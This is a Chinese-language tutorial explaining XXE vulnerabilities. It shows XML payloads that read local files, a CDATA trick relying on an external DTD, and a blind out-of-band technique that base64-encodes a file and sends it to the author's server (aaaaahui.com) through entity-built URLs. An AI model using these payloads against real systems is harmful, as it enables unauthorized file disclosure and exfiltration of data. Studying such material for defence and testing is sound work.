您好,登錄后才能下訂單哦!
這篇文章給大家介紹如何理解XXE漏洞,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
讀取文件時有特殊符號
在讀取文件時,文件中包含"<,>,&"等這些特殊符號時,會被xml解析器解析,報錯從而導致讀取失敗,例如嘗試讀取以下文件
C:\test.txt
內容:
<Baize Sec>
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [<!ENTITY xxe SYSTEM "file:///c:/test.txt">]>
<creds>&xxe;</creds>
可以看到與讀system.ini不同,這里報錯了,想知道原因需要了解CDATA和PCDATA
PCDATA 指的是被解析的字符數據(Parsed Character Data)。
XML 解析器通常會解析 XML 文檔中所有的文本。
當某個 XML 元素被解析時,其標簽之間的文本也會被解析:
<message>此文本也會被解析</message>
解析器之所以這么做是因為 XML 元素可包含其他元素,就像這個例子中,其中的 <name>元素包含著另外的兩個元素(first 和 last):
<name><first>Bill</first><last>Gates</last></name>
而解析器會把它分解為像這樣的子元素:
<name>
<first>Bill</first>
<last>Gates</last>
</name>
術語 CDATA 指的是不應由 XML 解析器進行解析的文本數據(Unparsed Character Data)。
在 XML 元素中,"<" 和 "&" 是非法的。
"<" 會產生錯誤,因為解析器會把該字符解釋為新元素的開始。
"&" 也會產生錯誤,因為解析器會把該字符解釋為字符實體的開始。
某些文本,比如 JavaScript 代碼,包含大量 "<" 或 "&" 字符。為了避免錯誤,可以將腳本代碼定義為 CDATA。
CDATA 部分中的所有內容都會被解析器忽略。
CDATA 部分由 "<![CDATA[" 開始,由 "]]>" 結束:
<script> <![CDATA[ function matchwo(a,b) { if (a < b && a < 0) then { return 1; } else { return 0; } } ]]> </script>
在上面的例子中,解析器會忽略 CDATA 部分中的所有內容。
CDATA 部分不能包含字符串 "]]>"。也不允許嵌套的 CDATA 部分。
標記 CDATA 部分結尾的 "]]>" 不能包含空格或折行。
我們的思路就是把讀取的文件放在CDATA中之后再調用,那么構造一個POC如下
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag
[<!ENTITY start
"<![CDATA[<!ENTITY % xxe SYSTEM "file:///c:/test.txt"> ]]>"
>]
% xxe;>
<roottag>&start</roottag>
但是還是讀不出來,如下圖:
直接放正確的payload,然后再講解原因
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % go SYSTEM "file:///c:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://aaaaahui.com/evil.dtd"> %dtd;
]>
<root>&all;</root>
http://aaaaahui.com/evil.dtd
<!ENTITY all "%start;%go;%end;">
可以看到這個payload是可以成功讀取文件的,對比兩個payload
兩個payload的邏輯都是一樣的,不過第二個是調用的外部的dtd文檔就可以,這是因為在xml中,xml 解析器有個限制:不能在內部 Entity 中引用,“PEReferences forbidden in internal subset in Entity ”指的就是禁止內部參數實體引用。
現在很多xxe漏洞都是沒有回顯的,下面是再沒有回顯的時候可以的利用方式。
思路就是在沒有回顯的時候,我們將讀取的文件帶出來,舉一個例子就是,我們如果將/etc/passwd文件賦給實體test,那么我們在訪問http://www.aaaaahui.com/?%test時,我們服務器上的日志文件就會保存/etc/passwd的文件內容,下面進行實驗:
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://aaaaahui.com/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/test.txt">
%remote;
%send;
]>
<message>1234</message>
xml.dtd
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://aaaaahui.com/?%file;'>">%start
%是%的html實體編碼,因為在xml.dtd的實體中不能有%
實驗如下圖
查看日志文件
這里我們讀取的文件已經帶出來了,那么原理就是將文件賦給實體后帶著訪問我們的vps然后在日志文件中就能看到我們讀取的文件了。
關于如何理解XXE漏洞就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。